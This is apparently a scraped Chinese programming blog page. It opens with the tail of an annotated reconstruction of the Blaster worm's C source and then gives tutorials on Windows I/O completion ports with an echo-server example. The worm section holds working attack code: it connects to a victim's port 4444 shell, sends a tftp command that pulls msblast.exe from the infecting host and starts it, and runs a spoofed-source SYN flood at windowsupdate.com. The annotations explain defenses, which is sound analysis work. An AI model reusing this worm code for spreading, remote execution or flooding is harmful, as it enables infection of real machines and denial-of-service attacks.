*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;


*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
*(unsigned long*)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;

if (send(sock,bindstr,sizeof(bindstr),0)== -1)
{
//perror("- Send");
return;
}


if (send(sock,buf2,len1,0)== -1)
{
//perror("- Send");
return;
}
closesocket(sock);
Sleep(400);
/* ----------------------------------------------*/


/*
* This section of code connects to the victim on port 4444.
* DEFENSE : This means you can block this worm by blocking
* TCP port 4444.
* FAQ: This port is only open for the brief instant needed
* to exploit the victim. Therefore, you can't scan for
* port 4444 in order to find Blaster victims.
*/
if ((fd=socket(AF_INET,SOCK_STREAM,0)) == -1)
return;
memset(&target_ip, 0, sizeof(target_ip));
target_ip.sin_family = AF_INET;
target_ip.sin_port = htons(SHELL_PORT_4444);
target_ip.sin_addr.s_addr = inet_addr(victim_ip);
if (target_ip.sin_addr.s_addr == SOCKET_ERROR)
return;
if (connect(fd, (struct sockaddr*)&target_ip,
sizeof(target_ip)) == SOCKET_ERROR)
return;

/*
* This section recreates the IP address from whatever IP
* address this successfully connected to. In practice,
* the strings "victim_ip" and "target_ip_string" should be
* the same.
*/
memset(target_ip_string, 0, sizeof(target_ip_string));
sizeof_sa = sizeof(sa);
getsockname(fd, (struct sockaddr*)&sa, &sizeof_sa);
sprintf(target_ip_string, "%d.%d.%d.%d",
sa.sin_addr.s_net, sa.sin_addr.s_host,
sa.sin_addr.s_lh, sa.sin_addr.s_impno);

/*
* This section creates a temporary TFTP service that is
* ONLY alive during the period of time that the victim
* needs to download.
* FAQ: You can't scan for TFTP in order to find Blaster
* victims because the port is rarely open.
*/
if (fd_tftp_service)
closesocket(fd_tftp_service);
hThread = CreateThread(0,0,
blaster_tftp_thread,0,0,&ThreadId);
Sleep(80); /*give time for thread to start*/

/*
* This sends the command
* tftp -i 1.2.3.4 GET msblast.exe
* to the victim. The "tftp.exe" program is built into
* Windows. It's intended purpose is to allow users to
* manually update their home wireless access points with
* new software (and other similar tasks). However, it is
* not intended as a generic file-transfer protocol (it
* stands for "trivial-file-transfer-protocol" -- it is
* intended for only trivial tasks). Since a lot of hacker
* exploits use the "tftp.exe" program, a good hardening
* step is to remove/rename it.
*/
sprintf(cmdstr, "tftp -i %s GET %s\n",
target_ip_string, MSBLAST_EXE);
if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)
goto closesocket_and_return;

/*
* Wait 21 seconds for the victim to request the file, then
* for the file to be delivered via TFTP.
*/
Sleep(1000);
for (i=0; i<10 && is_tftp_running; i++)
Sleep(2000);

/*
* Assume the the transfer is successful, and send the
* command to start executing the newly downloaded program.
* BUFORD: The hacker starts this twice. Again, it
* demonstrates a lock of confidence, so he makes sure it's
* started by doing it twice in slightly different ways.
* Note that the "BILLY" mutex will prevent from actually
* running twice.
*/
sprintf(cmdstr, "start %s\n", MSBLAST_EXE);
if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)
goto closesocket_and_return;
Sleep(2000);
sprintf(cmdstr, "%s\n", MSBLAST_EXE);
send(fd, cmdstr, strlen(cmdstr), 0);
Sleep(2000);


/*
* This section closes the things started in this procedure
*/
closesocket_and_return:

/* Close the socket for the remote command-prompt that has
* been established to the victim. */
if (fd != 0)
closesocket(fd);

/* Close the TFTP server that was launched above. As noted,
* this means that the TFTP service is not running most of
* the time, so it's not easy to scan for infected systems.
*/
if (is_tftp_running) {
TerminateThread(hThread,0);
closesocket(fd_tftp_service);
is_tftp_running = 0;
}
CloseHandle(hThread);
}


/**
* Convert the name into an IP address. If the IP address
* is formatted in decimal-dot-notation (e.g. 192.2.0.43),
* then return that IP address, otherwise do a DNS lookup
* on the address. Note that in the case of the worm,
* it always gives the string "windowsupdate.com" to this
* function, and since Microsoft turned off that name,
* the DNS lookup will usually fail, so this function
* generally returns -1 (SOCKET_ERROR), which means the
* address 255.255.255.255.
*/
int blaster_resolve_ip(const char *windowsupdate_com)
{
int result;

result = inet_addr(windowsupdate_com);
if (result == SOCKET_ERROR) {
HOSTENT *p_hostent = gethostbyname(windowsupdate_com);
if (p_hostent == NULL)
result = SOCKET_ERROR;
else
result = *p_hostent->h_addr;
}

return result;
}


/*
* This thre
*/
ULONG WINAPI blaster_DoS_thread(LPVOID p)
{
int opt = 1;
int fd;
int target_ip;


/* Lookup the domain-name. Note that no checking is done
* to ensure that the name is valid. Since Microsoft turned
* this off in their domain-name servers, this function now
* returns -1. */
target_ip = blaster_resolve_ip("windowsupdate.com");


/* Create a socket that the worm will blast packets at
* Microsoft from. This is what is known as a "raw" socket.
* So-called "raw-sockets" are ones where packets are
* custom-built by the programmer rather than by the TCP/IP
* stack. Note that raw-sockets were not available in Windows
* until Win2k. A cybersecurity pundit called Microsoft
* "irresponsible" for adding them.
* <http://grc.com/dos/sockettome.htm>
* That's probably an
* unfairly harsh judgement (such sockets are available in
* every other OS), but it's true that it puts the power of
* SYNflood attacks in the hands of lame worm writers. While
* the worm-writer would probably have chosen a different
* DoS, such as Slammer-style UDP floods, it's likely that
* Buford wouldn't have been able to create a SYNflood if
* raw-sockets had not been added to Win2k/WinXP. */
fd = WSASocket(
AF_INET, /*TCP/IP sockets*/
SOCK_RAW, /*Custom TCP/IP headers*/
IPPROTO_RAW,
NULL,
0,
WSA_FLAG_OVERLAPPED
);
if (fd == SOCKET_ERROR)
return 0;

/* Tell the raw-socket that IP headers will be created by the
* programmer rather than the stack. Most raw sockets in
* Windows will also have this option set. */
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL,
(char*)&opt, sizeof(opt)) == SOCKET_ERROR)
return 0;


/* Now do the SYN flood. The worm writer decided to flood
* slowly by putting a 20-millisecond delay between packets
* -- causing only 500 packets/second, or roughly, 200-kbps.
* There are a couple of reasons why the hacker may have
* chosen this.
* 1. SYNfloods are not intended to be bandwidth floods,
* even slow rates are hard to deal with.
* 2. Slammer DoSed both the sender and receiver, therefore
* senders hunted down infected systems and removed
* them. This won't DoS the sender, so people are more
* likely not to care about a few infected machines.
*/
for (;;) {
blaster_send_syn_packet(target_ip, fd;

/* Q: How fast does it send the SYNflood?
* A: About 50 packets/second, where each packet is
* 320-bits in size, for a total of 15-kbps.
* It means that Buford probably intended for
* dialup users to be a big source of the DoS
* attack. He was smart enough to realize that
* faster floods would lead to users discovering
* the worm and turning it off. */
Sleep(20);
}


closesocket(fd);
return 0;
}



/*
* This is a standard TCP/IP checksum algorithm
* that you find all over the web.
*/
int blaster_checksum(const void *bufv, int length)
{
const unsigned short *buf = (const unsigned short *)bufv;
unsigned long result = 0;

while (length > 1) {
result += *(buf++);
length -= sizeof(*buf);
}
if (length) result += *(unsigned char*)buf;
result = (result >> 16) + (result & 0xFFFF);
result += (result >> 16);
result = (~result)&0xFFFF;

return (int)result;
}



/*
* This is a function that uses "raw-sockets" in order to send
* a SYNflood at the victim, which is "windowsupdate.com" in
* the case of the Blaster worm.
*/
void blaster_send_syn_packet(int target_ip, int fd)
{

struct IPHDR
{
unsigned char verlen; /*IP version & length */
unsigned char tos; /*IP type of service*/
unsigned short totallength;/*Total length*/
unsigned short id; /*Unique identifier */
unsigned short offset; /*Fragment offset field*/
unsigned char ttl; /*Time to live*/
unsigned char protocol; /*Protocol(TCP, UDP, etc.)*/
unsigned short checksum; /*IP checksum*/
unsigned int srcaddr; /*Source address*/
unsigned int dstaddr; /*Destination address*/

};
struct TCPHDR
{
unsigned short srcport;
unsigned short dstport;
unsigned int seqno;
unsigned int ackno;
unsigned char offset;
unsigned char flags;
unsigned short window;
unsigned short checksum;
unsigned short urgptr;
};
struct PSEUDO
{
unsigned int srcaddr;
unsigned int dstaddr;
unsigned char padzero;
unsigned char protocol;
unsigned short tcplength;
};
struct PSEUDOTCP
{
unsigned int srcaddr;
unsigned int dstaddr;
unsigned char padzero;
unsigned char protocol;
unsigned short tcplength;
struct TCPHDR tcphdr;
};




char spoofed_src_ip[16];
unsigned short target_port = 80; /*SYNflood web servers*/
struct sockaddr_in to;
struct PSEUDO pseudo;
char buf[60] = {0};
struct TCPHDR tcp;
struct IPHDR ip;
int source_ip;


/* Yet another randomizer-seeding */
srand(GetTickCount());

/* Generate a spoofed source address that is local to the
* current Class B subnet. This is pretty smart of Buford.
* Using just a single IP address allows defenders to turn
* it off on the firewall, whereas choosing a completely
* random IP address would get blocked by egress filters
* (because the source IP would not be in the proper range).
* Randomly choosing nearby IP addresses it probably the
* best way to evade defenses */
sprintf(spoofed_src_ip, "%i.%i.%i.%i",
local_class_a, local_class_b, rand()%255, rand()%255);
source_ip = blaster_resolve_ip(spoofed_src_ip);

/* Build the sockaddr_in structure. Normally, this is what
* the underlying TCP/IP stack uses to build the headers
* from. However, since the DoS attack creates its own
* headers, this step is largely redundent. */
to.sin_family = AF_INET;
to.sin_port = htons(target_port); /*this makes no sense */
to.sin_addr.s_addr = target_ip;

/* Create the IP header */
ip.verlen = 0x45;
ip.totallength = htons(sizeof(ip) + sizeof(tcp));
ip.id = 1;
ip.offset = 0;
ip.ttl = 128;
ip.protocol = IPPROTO_TCP;
ip.checksum = 0; /*for now, set to true value below */
ip.dstaddr = target_ip;

/* Create the TCP header */
tcp.dstport = htons(target_port);
tcp.ackno = 0;
tcp.offset = (unsigned char)(sizeof(tcp)<<4);
tcp.flags = 2; /*TCP_SYN*/
tcp.window = htons(0x4000);
tcp.urgptr = 0;
tcp.checksum = 0; /*for now, set to true value below */

/* Create pseudo header (which copies portions of the IP
* header for TCP checksum calculation).*/
pseudo.dstaddr = ip.dstaddr;
pseudo.padzero = 0;
pseudo.protocol = IPPROTO_TCP;
pseudo.tcplength = htons(sizeof(tcp));

/* Use the source adress chosen above that is close, but
* not the same, as the spreader's IP address */
ip.srcaddr = source_ip;

/* Choose a random source port in the range [1000-19999].*/
tcp.srcport = htons((unsigned short)((rand()%1000)+1000));

/* Choose a random sequence number to start the connection.
* BUG: Buford meant htonl(), not htons(), which means seqno
* will be 15-bits, not 32-bits, i.e. in the range
* [0-32767]. (the Windows rand() function only returns
* 15-bits). */
tcp.seqno = htons((unsigned short)((rand()<<16)|rand()));

pseudo.srcaddr = source_ip;

/* Calculate TCP checksum */
memcpy(buf, &pseudo, sizeof(pseudo));
memcpy(buf+sizeof(pseudo), &tcp, sizeof(tcp));
tcp.checksum = blaster_checksum(buf,
sizeof(pseudo)+sizeof(tcp));

memcpy(buf, &ip, sizeof(ip));
memcpy(buf+sizeof(ip), &tcp, sizeof(tcp));

/* I have no idea what's going on here. The assembly code
* zeroes out a bit of memory near the buffer. I don't know
* if it is trying to zero out a real variable that happens
* to be at the end of the buffer, or if it is trying to zero
* out part of the buffer itself. */
memset(buf+sizeof(ip)+sizeof(tcp), 0,
sizeof(buf)-sizeof(ip)-sizeof(tcp));

/* Major bug here: the worm writer incorrectly calculates the
* IP checksum over the entire packet. This is incorrect --
* the IP checksum is just for the IP header itself, not for
* the TCP header or data. However, Windows fixes the checksum
* anyway, so the bug doesn't appear in the actual packets
* themselves.
*/
ip.checksum = blaster_checksum(buf, sizeof(ip)+sizeof(tcp));

/* Copy the header over again. The reason for this is simply to
* copy over the checksum that was just calculated above, but
* it's easier doing this for the programmer rather than
* figuring out the exact offset where the checksum is
* located */
memcpy(buf, &ip, sizeof(ip));

/* Send the packet */
sendto(fd, buf, sizeof(ip)+sizeof(tcp), 0,
(struct sockaddr*)&to, sizeof(to));
}

- 作者: shmilylff 2006年05月6日, 星期六 21:46  回复(0) |  引用(3) 加入博采

完成端口模型代码
最近要做一个网络方面的小东东,基于C/S模式的。都说IOCP可以使系统达到最佳的性能,因此我就比划了两下,献丑了。抄书开始。
    从本质上说,完成端口模型要求创建一个windows完成端口对象,该对象通过指定数量的线程,对重叠I/O请求进行管理,以便为已经完成的重叠I/O请求提供服务。
    首先要创建一个I/O完成端口对象,用它面向任意数量的套接字句柄,管理多个I/O请求。调用以下函数创建完成端口对象:

HANDLE CreateIoCompletionPort(
  HANDLE FileHandle
,// 同IOCP关联在一起的套接字句柄
  HANDLE ExistingCompletionPort
,// IOCP句柄
  ULONG_PTR CompletionKey
,        // 完成健
  DWORD NumberOfConcurrentThreads // 在IOCP上,同时允许执行的线程数量
);

    该函数有两个作用:
    (1)创建一个完成端口对象
    (2)将一个句柄同完成端口关联到一起
    
    然后就要创建一定数量的工作者线程,以便在套接字的I/O请求投递给完成端口后,为完成端口提供服务。写文字描述很烦,还是看代码吧:

// NetServer3.cpp : Defines the entry point for the console application.
//

#include 
"stdafx.h"
#include 
"NetServer3.h"

#include 
<winsock2.h>
#pragma comment(lib, 
"ws2_32.lib")

#include 
<iostream>
using namespace std;

//////////////////////////////////////////////////////////////////////////

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

//////////////////////////////////////////////////////////////////////////

// 单句柄数据
typedef struct tagPER_HANDLE_DATA
{
    SOCKET Socket;
    SOCKADDR_STORAGE ClientAddr;
    
// 将和这个句柄关联的其他有用信息,尽管放在这里面吧
}
PER_HANDLE_DATA, *LPPER_HANDLE_DATA;

// 但I/O操作数据
typedef struct tagPER_IO_DATA
{
    OVERLAPPED Overlapped;
    WSABUF DataBuf;
    
char buffer[1024];
    
int BufferLen;
    
int OperationType;   // 可以作为读写的标志,为简单,我忽略了
}
PER_IO_DATA, *LPPER_IO_DATA;

DWORD WINAPI ServerWorkerThread(LPVOID lpParam);

/////////////////////////////////////////////////////////////////////////////
// The one and only application object

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
    
int nRetCode = 0;

    
// initialize MFC and print and error on failure
    if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
    
{
        
// TODO: change error code to suit your needs
        cerr << _T("Fatal Error: MFC initialization failed"<< endl;
        nRetCode 
= 1;
    }

    
else
    
{
        
// TODO: code your application's behavior here.
     &nsp;  CString strHello;
        strHello.LoadString(IDS_HELLO);
        cout 
<< (LPCTSTR)strHello << endl;
    }


//////////////////////////////////////////////////////////////////////////

    HANDLE CompletionPort;
    WSADATA wsd;
    SYSTEM_INFO SystemInfo;
    SOCKADDR_IN InternetAddr;
    SOCKET Listen;

    
// 加载WinSock2.2
    WSAStartup(MAKEWORD(22), &wsd);

    
// 1.创建一个I/O完成端口
    CompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE,
                                            NULL,
                                            
0,
                                            
0);

    
// 2.确定系统中有多少个处理器
    GetSystemInfo(&SystemInfo);

    
// 3.基于系统中可用的处理器数量创建工作器线程
    for (int i = 0; i < SystemInfo.dwNumberOfProcessors; ++i)
    
{
        HANDLE ThreadHandle;

        
// 创建一个服务器的工作器线程,并将完成端口传递到该线程
        ThreadHandle = CreateThread(NULL,
                                    
0,
                                    ServerWorkerThread,
                                    CompletionPort,
                                    
0,
                                    NULL);

        CloseHandle(ThreadHandle);
    }


    
// 4.创建一个监听套接字,以下的套路都是固定的。
    Listen = WSASocket(AF_INET,
                       SOCK_STREAM,
                       
0,
                       NULL,
                       
0,
                       WSA_FLAG_OVERLAPPED);

    InternetAddr.sin_family 
= PF_INET;
    InternetAddr.sin_port 
= htons(5000);
    InternetAddr.sin_addr.s_addr 
= htonl(INADDR_ANY);

    bind(Listen, (SOCKADDR
*)&InternetAddr, sizeof(InternetAddr));

    listen(Listen, 
5);

    BOOL b 
= TRUE;

    
while (b)
    
{
        PER_HANDLE_DATA 
* PerHandleData = NULL;
        SOCKADDR_IN saRemote;
        SOCKET Accept;
        
int RemoteLen;

        
// 5.接收连接,并分配完成端口,这儿可以用AcceptEx来代替,以创
         // 建可伸缩的Winsock应用程序。

        RemoteLen = sizeof(saRemote);
        Accept 
= accept(Listen, (SOCKADDR*)&saRemote, &RemoteLen);

        
// 6.创建用来和套接字关联的单句柄数据信息结构
        PerHandleData = (LPPER_HANDLE_DATA)GlobalAlloc(GPTR, 
                                                       
sizeof(PER_HANDLE_DATA));

        cout 
<< "Socket number " << Accept << " connected" << endl;

        PerHandleData
->Socket = Accept;
        memcpy(
&PerHandleData->ClientAddr, &saRemote, RemoteLen);

        
// 7.将接受套接字和完成端口关联起来
        CreateIoCompletionPort((HANDLE)Accept,
                               CompletionPort,
                               (DWORD)PerHandleData,
                               
0);

        
// 开始在接受套接字上处理I/O
        
// 使用重叠I/O机制,在新建的套接字上投递一个或多个异步
         // WSARecv 或 WSASend请求。这些I/O请求完成后,工作者线程
         // 会为I/O请求提供服务,之后就可以坐享其成了

        static int const DATA_BUFSIZE = 4096; //

        DWORD RecvBytes 
= 0;
        DWORD Flags 
= 0;

        
// 单I/O操作数据
        LPPER_IO_DATA PerIoData = NULL;
        PerIoData 
= (LPPER_IO_DATA)GlobalAlloc(GPTR, sizeof(PER_IO_DATA));
        ZeroMemory(
&(PerIoData->Overlapped), sizeof(OVERLAPPED));        

        PerIoData
->DataBuf.len = 1024;
        PerIoData
->DataBuf.buf = PerIoData->buffer;
        PerIoData
->OperationType = 0// read
        WSARecv(PerHandleData->Socket,
                
&(PerIoData->DataBuf),
                
1,
                
&RecvBytes,
                
&Flags,
                
&(PerIoData->Overlapped),
                NULL);
    }


//////////////////////////////////////////////////////////////////////////
    return nRetCode;
}


//////////////////////////////////////////////////////////////////////////

DWORD WINAPI ServerWorkerThread(LPVOID lpParam)
{
    HANDLE CompletionPort 
= (HANDLE)lpParam;
    DWORD BytesTransferred;
    LPOVERLAPPED lpOverlapped;
    LPPER_HANDLE_DATA PerHandleData 
= NULL;
    LPPER_IO_DATA PerIoData 
= NULL;
    DWORD SendBytes;
    DWORD RecvBytes;
    DWORD Flags;
    BOOL bRet 
= FALSE;

    
while (TRUE)
    
{
        bRet 
= GetQueuedCompletionStatus(CompletionPort,
                                         
&BytesTransferred,
                                         (PULONG_PTR)
  
                                           &
PerHandleData,
                                         (LPOVERLAPPED
*)
                                           &lpOverlapped,
                                         INFINITE);

        
// 检查成功的返回,这儿要注意使用这个宏CONTAINING_RECORD
        PerIoData = (LPPER_IO_DATA)CONTAINING_RECORD(lpOverlapped, 
                                                     PER_IO_DATA, 
                                                     Overlapped);

        
// 先检查一下,看看是否在套接字上已有错误发生
        if (0 == BytesTransferred) 
        
{
            closesocket(PerHandleData
->Socket);
            GlobalFree(PerHandleData);
            GlobalFree(PerIoData);

            
continue;
        }


        
// 数据处理
        
// 成功了!!!这儿就收到了来自客户端的数据
        cout << PerIoData->DataBuf.buf << endl;

        Flags 
= 0;

        
// 为下一个重叠调用建立单I/O操作数据
        ZeroMemory(&(PerIoData->Overlapped), sizeof(OVERLAPPED));

        PerIoData
->DataBuf.len = 1024;
        PerIoData
->DataBuf.buf = PerIoData->buffer;
        PerIoData
->OperationType = 0// read
        WSARecv(PerHandleData->Socket,
                
&(PerIoData->DataBuf),
                
1,
                
&RecvBytes,
                
&Flags,
                
&(PerIoData->Overlapped),
                NULL);
    }


    
return 0;
}


//////////////////////////////////////////////////////////////////////////




   当然为了测试,各种异常处理都没有写,大家不要学我哦。

- 作者: shmilylff 2006年05月6日, 星期六 11:44  回复(0) |  引用(3) 加入博采

完成端口模型简介

抽象出一个完成端口大概的处理流程:
1:创建一个完成端口。
2:创建一个线程A。
3:A线程循环调用GetQueuedCompletionStatus()函数来得到IO操作结果,这个函数是个阻塞函数。
4:主线程循环里调用accept等待客户端连接上来。 
5:主线程里accept返回新连接建立以后,把这个新的套接字句柄用CreateIoCompletionPort关联到完成端口,然后发出一个异步的WSASend或者WSARecv调用,因为是异步函数,WSASend/WSARecv会马上返回,实际的发送或者接收数据的操作由WINDOWS系统去做。
6:主线程继续下一次循环,阻塞在accept这里等待客户端连接。
7:WINDOWS系统完成WSASend或者WSArecv的操作,把结果发到完成端口。
8:A线程里的GetQueuedCompletionStatus()马上返回,从完成端口取得刚完成的WSASend/WSARecv的结果。
9:在A线程里对这些数据进行处理(如果处理过程很耗时,需要新开线程处理),然后接着发出WSASend/WSARecv,并继续下一次循环阻塞在GetQueuedCompletionStatus()这里。

归根到底概括完成端口模型一句话:
我们不停地发出异步的WSASend/WSARecv IO操作,具体的IO处理过程由WINDOWS系统完成,WINDOWS系统完成实际的IO处理后,把结果送到完成端口上(如果有多个IO都完成了,那么就在完成端口那里排成一个队列)。我们在另外一个线程里从完成端口不断地取出IO操作结果,然后根据需要再发出WSASend/WSARecv IO操作。

- 作者: shmilylff 2006年05月6日, 星期六 11:25  回复(1) |  引用(3) 加入博采

完成端口模型

“完成端口”模型是迄今为止最为复杂的一种I/O模型。然而,假若一个应用程序同时需要管理为数众多的套接字,那么采用这种模型,往往可以达到最佳的系统性能!

从本质上说,完成端口模型要求我们创建一个Win32完成端口对象,通过指定数量的线程,对重叠I/O请求进行管理,以便为已经完成的重叠I/O请求提供服务。

使用这种模型之前,首先要创建一个I/O完成端口对象,用它面向任意数量的套接字句柄,管理多个I/O请求。要做到这一点,需要调用CreateCompletionPort函数。
该函数定义如下:

HANDLE CreateIoCompletionPort(
    HANDLE FileHandle,
    HANDLE ExistingCompletionPort,
    ULONG_PTR CompletionKey,
    DWORD NumberOfConcurrentThreads
);

在我们深入探讨其中的各个参数之前,首先要注意该函数实际用于两个明显有别的目的:
1. 用于创建一个完成端口对象。
2. 将一个句柄同完成端口关联到一起。

最开始创建一个完成端口时,唯一感兴趣的参数便是NumberOfConcurrentThreads(并发线程的数量);前面三个参数都会被忽略。NumberOfConcurrentThreads参数的特殊之处在于,它定义了在一个完成端口上,同时允许执行的线程数量。理想情况下,我们希望每个处理器各自负责一个线程的运行,为完成端口提供服务,避免过于频繁的线程“场景”切换。若将该参数设为0,表明系统内安装了多少个处理器,便允许同时运行多少个线程!可用下述代码创建一个I/O完成端口:

hIOCP = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);

该语句的作用是返回一个句柄,在为完成端口分配了一个套接字句柄后,用来对那个端口进行标定(引用)。

一、工作者线程与完成端口
成功创建一个完成端口后,便可开始将套接字句柄与对象关联到一起。但在关联套接字之前,首先必须创建一个或多个“工作者线程”,以便在I/O请求投递给完成端口对象后,为完成端口提供服务。在这个时候,大家或许会觉得奇怪,到底应创建多少个线程,以便为完成端口提供服务呢?这实际正是完成端口模型显得颇为“复杂”的一个方面,因为服务I/O请求所需的数量取决于应用程序的总体设计情况。在此要记住的一个重点在于,在我们调用CreateIoCompletionPort时指定的并发线程数量,与打算创建的工作者线程数量相比,它们代表的并非同一件事情。早些时候,我们曾建议大家用CreateIoCompletionPort函数为每个处理器
都指定一个线程(处理器的数量有多少,便指定多少线程)以避免由于频繁的线程“场景”交换活动,从而影响系统的整体性能。CreateIoCompletionPort函数的NumberOfConcurrentThreads参数明确指示系统:在一个完成端口上,一次只允许n个工作者线程运行。假如在完成端口上创建的工作者线程数量超出n个,那么在同一时刻,最多只允许n个线程运行。但实际上,在一段较短的时间内,系统有可能超过这个值,但很快便会把它减少至事先在CreateIoCompletionPort函数中设定的值。那么,为何实际创建的工作者线程数量有时要比CreateIoCompletionPort函数设定的多一些呢?这样做有必要吗?如先前所述,这主要取决于
应用程序的总体设计情况。假定我们的某个工作者线程调用了一个函数,比如Sleep或WaitForSingleObject,但却进入了暂停(锁定或挂起)状态,那么允许另一个线程代替它的位置。换言之,我们希望随时都能执行尽可能多的线程;当然,最大的线程数量是事先在CreateIoCompletionPort调用里设定好的。这样一来,假如事先预计到自己的线程有可能暂时处于停顿状态,那么最好能够创建比CreateIoCompletionPort的NumberOfConcurrentThreads参数的值多的线程,以便到时候充分发挥系统的潜力。一旦在完成端口上拥有足够多的工作者线程来为I/O请求提供服务,便可着手将套接字句柄同完成端口关联到一起。这要求我们在一个现有的完成端口上,调用CreateIoCompletionPort函数,同时为前三个参数——FileHandle,ExistingCompletionPort和CompletionKey——提供套接字的信息。其中, FileHandle参数指定一个要同完成端口关联在一起的套接字句柄。ExistingCompletionPort参数指定的是一个现有的完成端口。CompletionKey(完成键)参数则指定要与某个特定套接字句柄关联在一起的“单句柄数据”;在这个参数中,应用程序可保存与一个套接字对应的任意类型的信息。之所以把它叫作“单句柄数据”,是由于它只对
应着与那个套接字句柄关联在一起的数据。可将其作为指向一个数据结构的指针,来保存套接字句柄;在那个结构中,同时包含了套接字的句柄,以及与那个套接字有关的其他信息。

根据我们到目前为止学到的东西,首先来构建一个基本的应用程序框架。下面阐述了如何使用完成端口模型,来开发一个ECHO服务器应用。在这个程序中,我们基本上按下述步骤行事:

1) 创建一个完成端口。第四个参数保持为0,指定在完成端口上,每个处理器一次只允许执行一个工作者线程。
2) 判断系统内到底安装了多少个处理器。
3) 创建工作者线程,根据步骤2)得到的处理器信息,在完成端口上,为已完成的I/O请求提供服务。
4) 准备好一个监听套接字,在端口5150上监听进入的连接请求。
5) 使用accept函数,接受进入的连接请求。
6) 创建一个数据结构,用于容纳“单句柄数据”,同时在结构中存入接受的套接字句柄。
7) 调用CreateIoCompletionPort,将自accept返回的新套接字句柄同完成端口关联到一起。通过完成键(CompletionKey)参数,将单句柄数据结构传递给CreateIoCompletionPort。
8) 开始在已接受的连接上进行I/O操作。在此,我们希望通过重叠I/O机制,在新建的套接字上投递一个或多个异步WSARecv或WSASend请求。这些I/O请求完成后,一个工作者线程会为I/O请求提供服务,同时继续处理未来的I/O请求,稍后便会在步骤3 )指定的工作者例程中,体验到这一点。
9) 重复步骤5 ) ~ 8 ),直至服务器中止。

二、完成端口和重叠I/O
将套接字句柄与一个完成端口关联在一起后,便可以套接字句柄为基础,投递发送与接收请求,开始对I/O请求的处理。接下来,可开始依赖完成端口,来接收有关I/O操作完成情况的通知。从本质上说,完成端口模型利用了Win32重叠I/O机制。在这种机制中,象WSASend和WSARecv这样的Winsock API调用会立即返回。此时,需要由我们的应用程序负责在以后的某个时间,通过一个OVERLAPPED结构,来接收调用的结果。在完成端口模型中,要想做到这一点,需要使用GetQueuedCompletionStatus(获取排队完成状态)函数,让一个或多个工作者线程在完成端口上等待。该函数的定义如下:

BOOL GetQueuedCompletionStatus(
    HANDLE CompletionPort,
    LPDWORD lpNumberOfBytes,
    PULONG_PTR lpCompletionKey,
    LPOVERLAPPED* lpOverlapped,
    DWORD dwMilliseconds
);

其中,CompletionPort参数对应于要在上面等待的完成端口。lpNumberOfBytes参数负责在完成了一次I/O操作后(如WSASend或WSARecv),接收实际传输的字节数。lpCompletionKey参数为原先传递进入CreateIoCompletionPort函数的套接字返回“单句柄数据”。如我们早先所述,大家最好将套接字句柄保存在这个“键”(Key)中。lpOverlapped参数用于接收完成的I/O操作的重叠结果。这实际是一个相当重要的参数,因为可用它获取每个I/O操作的数据。而最后一个参数,dwMilliseconds,用于指定调用者希望等待一个完成数据包在完成端口上出现的时间。假如将其设为INFINITE,调用会无休止地等待下去。

三、单句柄数据和单I/O操作数据
一个工作者线程从GetQueuedCompletionStatus这个API调用接收到I/O完成通知后,在lpCompletionKey和lpOverlapped参数中,会包含一些必要的套接字信息。利用这些信息,可通过完成端口,继续在一个套接字上的I/O处理。通过这些参数,可获得两方面重要的套接字数据:单句柄数据,以及单I/O操作数据。其中,lpCompletionKey参数包含了“单句柄数据”,因为在一个套接字首次与完成端口关联到一起的时候,那些数据便与一个特定的套接字句柄对应起来了。这些数据正是我们在进行CreateIoCompletionPort API调用的时候,通过CompletionKey参数传递的。如早先所述,应用程序可通过该参数传递任意类型的数据。通常情况下,应用程序会将与I/O请求有关的套接字句柄保存在这里。lpOverlapped参数则包含了一个OVERLAPPED结构,在它后面跟随“单I/O操作数据”。我们的工作者线程处理一个完成数据包时(将数据原封不动打转回去,接受连接,投递另一个线程,等等),这些信息是它必须要知道的。单I/O操作数据可以是追加到一个OVERLAPPED结构末尾的、任意数量的字节。假如一个函数要求用到一个OVERLAPPED结构,我们便必须将这样的一个结构传递进去,以满足它的要求。要想做到这一点,一个简单的方法是定义一个结构,然后将OVERLAPPED结构作为新结构的第一个元素使用。举个例子来说,可定义下述数据结构,实现对单I/O操作数据的管理:

typedef struct
{
    OVERLAPPED Overlapped;
    WSABUF     DataBuf;
    CHAR       Buffer[DATA_BUFSIZE];
    BOOL       OperationType;
}PER_IO_OPERATION_DATA

该结构演示了通常要与I/O操作关联在一起的某些重要数据元素,比如刚才完成的那个I/O操作的类型(发送或接收请求)。在这个结构中,我们认为用于已完成I/O操作的数据缓冲区是非常有用的。要想调用一个Winsock API函数,同时为其分配一个OVERLAPPED结构,既可将自己的结构“造型”为一个OVERLAPPED指针,亦可简单地撤消对结构中的OVERLAPPED元素的引用。如下例所示:
PER_IO_OPERATION_DATA PerIoData;
// 可像下面这样调用一个函数
  WSARecv(socket, ..., (OVERLAPPED *)&PerIoData);
// 或像这样
  WSARecv(socket, ..., &(PerIoData.Overlapped));

